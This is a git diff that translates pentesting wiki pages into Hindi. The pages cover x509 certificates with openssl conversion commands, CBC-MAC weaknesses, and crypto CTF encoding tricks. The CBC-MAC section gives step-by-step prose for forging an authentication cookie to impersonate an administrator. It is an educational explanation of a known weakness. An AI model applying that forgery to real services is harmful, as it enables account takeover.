- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} - ## What is a Certificate -A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. +A **public key certificate** एक डिजिटल आईडी है जिसका उपयोग क्रिप्टोग्राफी में किसी के सार्वजनिक कुंजी के स्वामित्व को साबित करने के लिए किया जाता है। इसमें कुंजी के विवरण, मालिक की पहचान (विषय), और एक विश्वसनीय प्राधिकरण (जारीकर्ता) से डिजिटल हस्ताक्षर शामिल होता है। यदि सॉफ़्टवेयर जारीकर्ता पर भरोसा करता है और हस्ताक्षर मान्य है, तो कुंजी के मालिक के साथ सुरक्षित संचार संभव है। -Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. +Certificates ज्यादातर [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) द्वारा [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) सेटअप में जारी किए जाते हैं। एक अन्य विधि [web of trust](https://en.wikipedia.org/wiki/Web_of_trust) है, जहां उपयोगकर्ता सीधे एक-दूसरे की कुंजी की पुष्टि करते हैं। Certificates के लिए सामान्य प्रारूप [X.509](https://en.wikipedia.org/wiki/X.509) है, जिसे RFC 5280 में वर्णित विशिष्ट आवश्यकताओं के लिए अनुकूलित किया जा सकता है। ## x509 Common Fields ### **Common Fields in x509 Certificates** -In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields: +x509 certificates में, कई **fields** प्रमाणपत्र की वैधता और सुरक्षा सुनिश्चित करने में महत्वपूर्ण भूमिका निभाते हैं। इन fields का विवरण इस प्रकार है: -- **Version Number** signifies the x509 format's version. -- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking. -- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as: - - **Common Name (CN)**: Domains covered by the certificate. - - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details. - - **Distinguished Name (DN)** encapsulates the full subject identification. -- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA. -- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date. -- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key. -- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application. +- **Version Number** x509 प्रारूप के संस्करण को दर्शाता है। +- **Serial Number** प्रमाणपत्र को एक Certificate Authority (CA) प्रणाली के भीतर अद्वितीय रूप से पहचानता है, मुख्य रूप से रद्दीकरण ट्रैकिंग के लिए। +- **Subject** field प्रमाणपत्र के मालिक का प्रतिनिधित्व करता है, जो एक मशीन, एक व्यक्ति, या एक संगठन हो सकता है। इसमें विस्तृत पहचान शामिल है जैसे: +- **Common Name (CN)**: प्रमाणपत्र द्वारा कवर किए गए डोमेन। +- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, और **Organizational Unit (OU)** भौगोलिक और संगठनात्मक विवरण प्रदान करते हैं। +- **Distinguished Name (DN)** पूर्ण विषय पहचान को संक्षिप्त करता है। +- **Issuer** विवरण देता है कि किसने प्रमाणपत्र की पुष्टि की और हस्ताक्षर किए, जिसमें CA के लिए विषय के समान उपक्षेत्र शामिल हैं। +- **Validity Period** को **Not Before** और **Not After** टाइमस्टैम्प द्वारा चिह्नित किया जाता है, यह सुनिश्चित करते हुए कि प्रमाणपत्र को किसी निश्चित तिथि से पहले या बाद में उपयोग नहीं किया जाता है। +- **Public Key** अनुभाग, जो प्रमाणपत्र की सुरक्षा के लिए महत्वपूर्ण है, सार्वजनिक कुंजी के एल्गोरिदम, आकार, और अन्य तकनीकी विवरण निर्दिष्ट करता है। +- **x509v3 extensions** प्रमाणपत्र की कार्यक्षमता को बढ़ाते हैं, **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, और अन्य गुणों को निर्दिष्ट करते हैं ताकि प्रमाणपत्र के आवेदन को ठीक से समायोजित किया जा सके। #### **Key Usage and Extensions** -- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment. -- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication. -- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively. -- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys. -- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status. -- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate. - +- **Key Usage** सार्वजनिक कुंजी के क्रिप्टोग्राफिक अनुप्रयोगों की पहचान करता है, जैसे डिजिटल हस्ताक्षर या कुंजी एन्क्रिप्शन। +- **Extended Key Usage** प्रमाणपत्र के उपयोग के मामलों को और संकीर्ण करता है, जैसे कि TLS सर्वर प्रमाणीकरण के लिए। +- **Subject Alternative Name** और **Basic Constraint** प्रमाणपत्र द्वारा कवर किए गए अतिरिक्त होस्ट नामों और यह कि क्या यह एक CA या अंत-इकाई प्रमाणपत्र है, को परिभाषित करते हैं। +- **Subject Key Identifier** और **Authority Key Identifier** जैसे पहचानकर्ता कुंजी की अद्वितीयता और ट्रेसबिलिटी सुनिश्चित करते हैं। +- **Authority Information Access** और **CRL Distribution Points** जारीकर्ता CA की पुष्टि करने और प्रमाणपत्र रद्दीकरण स्थिति की जांच करने के लिए पथ प्रदान करते हैं। +- **CT Precertificate SCTs** पारदर्शिता लॉग प्रदान करते हैं, जो प्रमाणपत्र में सार्वजनिक विश्वास के लिए महत्वपूर्ण हैं। ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend # Load an x509 certificate (assuming cert.pem is a certificate file) with open("cert.pem", "rb") as file: - cert_data = file.read() - certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) +cert_data = file.read() +certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) # Accessing fields serial_number = certificate.serial_number @@ -63,160 +54,123 @@ print(f"Issuer: {issuer}") print(f"Subject: {subject}") print(f"Public Key: {public_key}") ``` +### **OCSP और CRL वितरण बिंदुओं के बीच का अंतर** -### **Difference between OCSP and CRL Distribution Points** +**OCSP** (**RFC 2560**) में एक क्लाइंट और एक रिस्पॉन्डर मिलकर काम करते हैं यह जांचने के लिए कि क्या एक डिजिटल पब्लिक-की सर्टिफिकेट को रद्द किया गया है, बिना पूर्ण **CRL** डाउनलोड किए। यह विधि पारंपरिक **CRL** की तुलना में अधिक कुशल है, जो रद्द किए गए सर्टिफिकेट सीरियल नंबरों की एक सूची प्रदान करती है लेकिन एक संभावित बड़े फ़ाइल को डाउनलोड करने की आवश्यकता होती है। CRLs में 512 प्रविष्टियाँ तक हो सकती हैं। अधिक विवरण [यहाँ](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) उपलब्ध हैं। -**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). +### **सर्टिफिकेट ट्रांसपेरेंसी क्या है** -### **What is Certificate Transparency** +सर्टिफिकेट ट्रांसपेरेंसी सर्टिफिकेट से संबंधित खतरों से लड़ने में मदद करती है यह सुनिश्चित करके कि SSL सर्टिफिकेट का जारी होना और अस्तित्व डोमेन मालिकों, CAs, और उपयोगकर्ताओं के लिए दृश्य है। इसके उद्देश्य हैं: -Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: +- CAs को डोमेन मालिक की जानकारी के बिना एक डोमेन के लिए SSL सर्टिफिकेट जारी करने से रोकना। +- गलती से या दुर्भावनापूर्ण तरीके से जारी किए गए सर्टिफिकेट को ट्रैक करने के लिए एक ओपन ऑडिटिंग सिस्टम स्थापित करना। +- उपयोगकर्ताओं को धोखाधड़ी वाले सर्टिफिकेट से सुरक्षित रखना। -- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. -- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates. -- Safeguarding users against fraudulent certificates. +#### **सर्टिफिकेट लॉग्स** -#### **Certificate Logs** +सर्टिफिकेट लॉग्स सार्वजनिक रूप से ऑडिट करने योग्य, केवल जोड़ने योग्य रिकॉर्ड होते हैं, जो नेटवर्क सेवाओं द्वारा बनाए रखे जाते हैं। ये लॉग ऑडिटिंग उद्देश्यों के लिए क्रिप्टोग्राफिक प्रमाण प्रदान करते हैं। जारी करने वाली प्राधिकरण और जनता दोनों इन लॉग्स में सर्टिफिकेट जमा कर सकते हैं या सत्यापन के लिए उन्हें क्वेरी कर सकते हैं। जबकि लॉग सर्वरों की सटीक संख्या निश्चित नहीं है, यह अपेक्षित है कि यह वैश्विक स्तर पर एक हजार से कम हो। ये सर्वर CAs, ISPs, या किसी भी इच्छुक इकाई द्वारा स्वतंत्र रूप से प्रबंधित किए जा सकते हैं। -Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. +#### **क्वेरी** -#### **Query** +किसी भी डोमेन के लिए सर्टिफिकेट ट्रांसपेरेंसी लॉग्स का अन्वेषण करने के लिए, [https://crt.sh/](https://crt.sh) पर जाएँ। -To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). +सर्टिफिकेट को स्टोर करने के लिए विभिन्न प्रारूप मौजूद हैं, प्रत्येक के अपने उपयोग के मामले और संगतता होती है। यह सारांश मुख्य प्रारूपों को कवर करता है और उनके बीच रूपांतरण के लिए मार्गदर्शन प्रदान करता है। -Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. +## **प्रारूप** -## **Formats** +### **PEM प्रारूप** -### **PEM Format** +- सर्टिफिकेट के लिए सबसे व्यापक रूप से उपयोग किया जाने वाला प्रारूप। +- सर्टिफिकेट और प्राइवेट की के लिए अलग फ़ाइलों की आवश्यकता होती है, जो Base64 ASCII में एन्कोडेड होती हैं। +- सामान्य एक्सटेंशन: .cer, .crt, .pem, .key। +- मुख्य रूप से Apache और समान सर्वरों द्वारा उपयोग किया जाता है। -- Most widely used format for certificates. -- Requires separate files for certificates and private keys, encoded in Base64 ASCII. -- Common extensions: .cer, .crt, .pem, .key. -- Primarily used by Apache and similar servers. +### **DER प्रारूप** -### **DER Format** +- सर्टिफिकेट का एक बाइनरी प्रारूप। +- PEM फ़ाइलों में पाए जाने वाले "BEGIN/END CERTIFICATE" बयानों की कमी है। +- सामान्य एक्सटेंशन: .cer, .der। +- अक्सर Java प्लेटफार्मों के साथ उपयोग किया जाता है। -- A binary format of certificates. -- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files. -- Common extensions: .cer, .der. -- Often used with Java platforms. +### **P7B/PKCS#7 प्रारूप** -### **P7B/PKCS#7 Format** +- Base64 ASCII में स्टोर किया गया, एक्सटेंशन .p7b या .p7c के साथ। +- केवल सर्टिफिकेट और चेन सर्टिफिकेट शामिल होते हैं, प्राइवेट की को छोड़कर। +- Microsoft Windows और Java Tomcat द्वारा समर्थित। -- Stored in Base64 ASCII, with extensions .p7b or .p7c. -- Contains only certificates and chain certificates, excluding the private key. -- Supported by Microsoft Windows and Java Tomcat. +### **PFX/P12/PKCS#12 प्रारूप** -### **PFX/P12/PKCS#12 Format** +- एक बाइनरी प्रारूप जो सर्वर सर्टिफिकेट, मध्यवर्ती सर्टिफिकेट, और प्राइवेट की को एक फ़ाइल में संलग्न करता है। +- एक्सटेंशन: .pfx, .p12। +- मुख्य रूप से Windows पर सर्टिफिकेट आयात और निर्यात के लिए उपयोग किया जाता है। -- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. -- Extensions: .pfx, .p12. -- Mainly used on Windows for certificate import and export. +### **प्रारूपों का रूपांतरण** -### **Converting Formats** - -**PEM conversions** are essential for compatibility: - -- **x509 to PEM** +**PEM रूपांतरण** संगतता के लिए आवश्यक हैं: +- **x509 से PEM** ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` - -- **PEM to DER** - +- **PEM से DER** ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` - -- **DER to PEM** - +- **DER से PEM** ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` - -- **PEM to P7B** - +- **PEM से P7B** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` - -- **PKCS7 to PEM** - +- **PKCS7 से PEM** ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` +**PFX रूपांतरण** विंडोज़ पर प्रमाणपत्रों का प्रबंधन करने के लिए महत्वपूर्ण हैं: -**PFX conversions** are crucial for managing certificates on Windows: - -- **PFX to PEM** - +- **PFX से PEM** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` - -- **PFX to PKCS#8** involves two steps: - 1. Convert PFX to PEM - +- **PFX से PKCS#8** में दो चरण शामिल हैं: +1. PFX को PEM में परिवर्तित करें ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` - -2. Convert PEM to PKCS8 - +2. PEM को PKCS8 में परिवर्तित करें ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` - -- **P7B to PFX** also requires two commands: - 1. Convert P7B to CER - +- **P7B to PFX** के लिए भी दो कमांड की आवश्यकता होती है: +1. P7B को CER में परिवर्तित करें ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` - -2. Convert CER and Private Key to PFX - +2. CER और प्राइवेट की को PFX में परिवर्तित करें ```bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - -- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure): - 1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/) - +- **ASN.1 (DER/PEM) संपादन** (प्रमाणपत्रों या लगभग किसी अन्य ASN.1 संरचना के साथ काम करता है): +1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/) ```bash git clone https://github.com/wllm-rbnt/asn1template.git ``` - -2. Convert DER/PEM to OpenSSL's generation format - +2. DER/PEM को OpenSSL के निर्माण प्रारूप में परिवर्तित करें ```bash asn1template/asn1template.pl certificatename.der > certificatename.tpl asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl ``` - -3. Edit certificatename.tpl according to your requirements - +3. certificatename.tpl को अपनी आवश्यकताओं के अनुसार संपादित करें ```bash vim certificatename.tpl ``` - -4. Rebuild the modified certificate - +4. संशोधित प्रमाणपत्र को पुनर्निर्माण करें ```bash openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem ``` - --- -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md index 47f1b2713..b87648a73 100644 --- a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md +++ b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md @@ -2,54 +2,54 @@ # CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +यदि **कुकी** **केवल** **उपयोगकर्ता नाम** है (या कुकी का पहला भाग उपयोगकर्ता नाम है) और आप उपयोगकर्ता नाम "**admin**" का अनुकरण करना चाहते हैं। तो, आप उपयोगकर्ता नाम **"bdmin"** बना सकते हैं और कुकी के **पहले बाइट** को **ब्रूटफोर्स** कर सकते हैं। # CBC-MAC -**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. +**साइफर ब्लॉक चेनिंग मैसेज ऑथेंटिकेशन कोड** (**CBC-MAC**) एक विधि है जो क्रिप्टोग्राफी में उपयोग की जाती है। यह एक संदेश को लेती है और इसे ब्लॉक दर ब्लॉक एन्क्रिप्ट करती है, जहां प्रत्येक ब्लॉक का एन्क्रिप्शन पिछले ब्लॉक से जुड़ा होता है। यह प्रक्रिया एक **ब्लॉकों की श्रृंखला** बनाती है, यह सुनिश्चित करते हुए कि मूल संदेश के एक भी बिट को बदलने से एन्क्रिप्टेड डेटा के अंतिम ब्लॉक में अप्रत्याशित परिवर्तन होगा। ऐसा परिवर्तन करने या उलटने के लिए एन्क्रिप्शन कुंजी की आवश्यकता होती है, जो सुरक्षा सुनिश्चित करती है। -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +संदेश m का CBC-MAC निकालने के लिए, m को शून्य प्रारंभिक वेक्टर के साथ CBC मोड में एन्क्रिप्ट किया जाता है और अंतिम ब्लॉक को रखा जाता है। निम्नलिखित चित्र एक संदेश के CBC-MAC की गणना को दर्शाता है जिसमें ब्लॉक शामिल हैं![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) एक गुप्त कुंजी k और एक ब्लॉक साइफर E का उपयोग करते हुए: ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() # Vulnerability -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +CBC-MAC के साथ आमतौर पर **IV का उपयोग 0** होता है।\ +यह एक समस्या है क्योंकि 2 ज्ञात संदेश (`m1` और `m2`) स्वतंत्र रूप से 2 हस्ताक्षर (`s1` और `s2`) उत्पन्न करेंगे। तो: - `E(m1 XOR 0) = s1` - `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +फिर m1 और m2 के संयोजन से बना एक संदेश (m3) 2 हस्ताक्षर (s31 और s32) उत्पन्न करेगा: - `E(m1 XOR 0) = s31 = s1` - `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**जिसे एन्क्रिप्शन की कुंजी को जाने बिना गणना करना संभव है।** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +कल्पना करें कि आप नाम **Administrator** को **8bytes** ब्लॉकों में एन्क्रिप्ट कर रहे हैं: - `Administ` - `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +आप एक उपयोगकर्ता नाम **Administ** (m1) बना सकते हैं और हस्ताक्षर (s1) प्राप्त कर सकते हैं।\ +फिर, आप एक उपयोगकर्ता नाम बना सकते हैं जो `rator\00\00\00 XOR s1` का परिणाम है। यह `E(m2 XOR s1 XOR 0)` उत्पन्न करेगा जो s32 है।\ +अब, आप s32 का उपयोग पूर्ण नाम **Administrator** के हस्ताक्षर के रूप में कर सकते हैं। ### Summary -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. उपयोगकर्ता नाम **Administ** (m1) का हस्ताक्षर प्राप्त करें जो s1 है +2. उपयोगकर्ता नाम **rator\x00\x00\x00 XOR s1 XOR 0** का हस्ताक्षर प्राप्त करें जो s32 है। +3. कुकी को s32 पर सेट करें और यह उपयोगकर्ता **Administrator** के लिए एक मान्य कुकी होगी। # Attack Controlling IV -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +यदि आप उपयोग किए गए IV को नियंत्रित कर सकते हैं तो हमला बहुत आसान हो सकता है।\ +यदि कुकी केवल उपयोगकर्ता नाम एन्क्रिप्टेड है, तो उपयोगकर्ता "**administrator**" का अनुकरण करने के लिए आप उपयोगकर्ता "**Administrator**" बना सकते हैं और आपको इसकी कुकी मिल जाएगी।\ +अब, यदि आप IV को नियंत्रित कर सकते हैं, तो आप IV के पहले बाइट को बदल सकते हैं ताकि **IV\[0] XOR "A" == IV'\[0] XOR "a"** और उपयोगकर्ता **Administrator** के लिए कुकी को फिर से उत्पन्न कर सकें। यह कुकी प्रारंभिक **IV** के साथ उपयोगकर्ता **administrator** का अनुकरण करने के लिए मान्य होगी। ## References -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) +अधिक जानकारी के लिए [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md index bb2b5f049..9e0b78b39 100644 --- a/src/crypto-and-stego/crypto-ctfs-tricks.md +++ b/src/crypto-and-stego/crypto-ctfs-tricks.md @@ -4,7 +4,7 @@ ## Online Hashes DBs -- _**Google it**_ +- _**गूगल करें**_ - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://crackstation.net/](https://crackstation.net) @@ -19,7 +19,7 @@ ## Magic Autosolvers - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) +- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (जादुई मॉड्यूल) - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) @@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources: ### Substitution Autosolvers - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Very good ! +- [https://quipqiup.com/](https://quipqiup.com) - बहुत अच्छा ! #### Caesar - ROTx Autosolvers @@ -48,92 +48,87 @@ Most of encoded data can be decoded with these 2 ressources: Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - **Ascii85** - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base26** \[_A-Z_] - - `BQEKGAHRJKHQMVZGKUXNT` +- `BQEKGAHRJKHQMVZGKUXNT` - **Base32** \[_A-Z2-7=_] - - `NBXWYYLDMFZGCY3PNRQQ====` +- `NBXWYYLDMFZGCY3PNRQQ====` - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - - `pbzsaamdcf3gna5xptoo====` +- `pbzsaamdcf3gna5xptoo====` - **Base32 Geohash** \[_0-9b-hjkmnp-z_] - - `e1rqssc3d5t62svgejhh====` +- `e1rqssc3d5t62svgejhh====` - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - - `D1QPRRB3C5S62RVFDHGG====` +- `D1QPRRB3C5S62RVFDHGG====` - **Base32 Extended Hexadecimal** \[_0-9A-V_] - - `D1NMOOB3C5P62ORFDHGG====` +- `D1NMOOB3C5P62ORFDHGG====` - **Base45** \[_0-9A-Z $%\*+-./:_] - - `59DPVDGPCVKEUPCPVD` +- `59DPVDGPCVKEUPCPVD` - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - - `2yJiRg5BF9gmsU6AC` +- `2yJiRg5BF9gmsU6AC` - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - - `2YiHqF5bf9FLSt6ac` +- `2YiHqF5bf9FLSt6ac` - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - - `pyJ5RgnBE9gm17awU` +- `pyJ5RgnBE9gm17awU` - **Base62** \[_0-9A-Za-z_] - - `g2AextRZpBKRBzQ9` +- `g2AextRZpBKRBzQ9` - **Base64** \[_A-Za-z0-9+/=_] - - `aG9sYWNhcmFjb2xh` +- `aG9sYWNhcmFjb2xh` - **Base67** \[_A-Za-z0-9-_.!\~\_] - - `NI9JKX0cSUdqhr!p` +- `NI9JKX0cSUdqhr!p` - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `<~BQ%]q@psCd@rH0l~>` +- `<~BQ%]q@psCd@rH0l~>` - **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - - `Xm4y`V\_|Y(V{dF>\` +- `Xm4y`V\_|Y(V{dF>\` - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] - - `Xm4y|V{~Y+V}dF?` +- `Xm4y|V{~Y+V}dF?` - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - - `frDg[*jNN!7&BQM` +- `frDg[*jNN!7&BQM` - **Base100** \[] - - `👟👦👣👘👚👘👩👘👚👦👣👘` +- `👟👦👣👘👚👘👩👘👚👦👣👘` - **Base122** \[] - - `4F ˂r0Xmvc` +- `4F ˂r0Xmvc` - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - - `MIc3KiXa+Ihz+lrXMIc3KbCC` +- `MIc3KiXa+Ihz+lrXMIc3KbCC` - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - - `DmPsv8J7qrlKEoY7` +- `DmPsv8J7qrlKEoY7` - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - - `kLD8iwKsigSalLJ5` +- `kLD8iwKsigSalLJ5` - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - - `ayRiIo1gpO+uUc7g` +- `ayRiIo1gpO+uUc7g` - **ESAB46** \[] - - `3sHcL2NR8WrT7mhR` +- `3sHcL2NR8WrT7mhR` - **MEGAN45** \[] - - `kLD8igSXm2KZlwrX` +- `kLD8igSXm2KZlwrX` - **TIGO3FX** \[] - - `7AP9mIzdmltYmIP9mWXX` +- `7AP9mIzdmltYmIP9mWXX` - **TRIPO5** \[] - - `UE9vSbnBW6psVzxB` +- 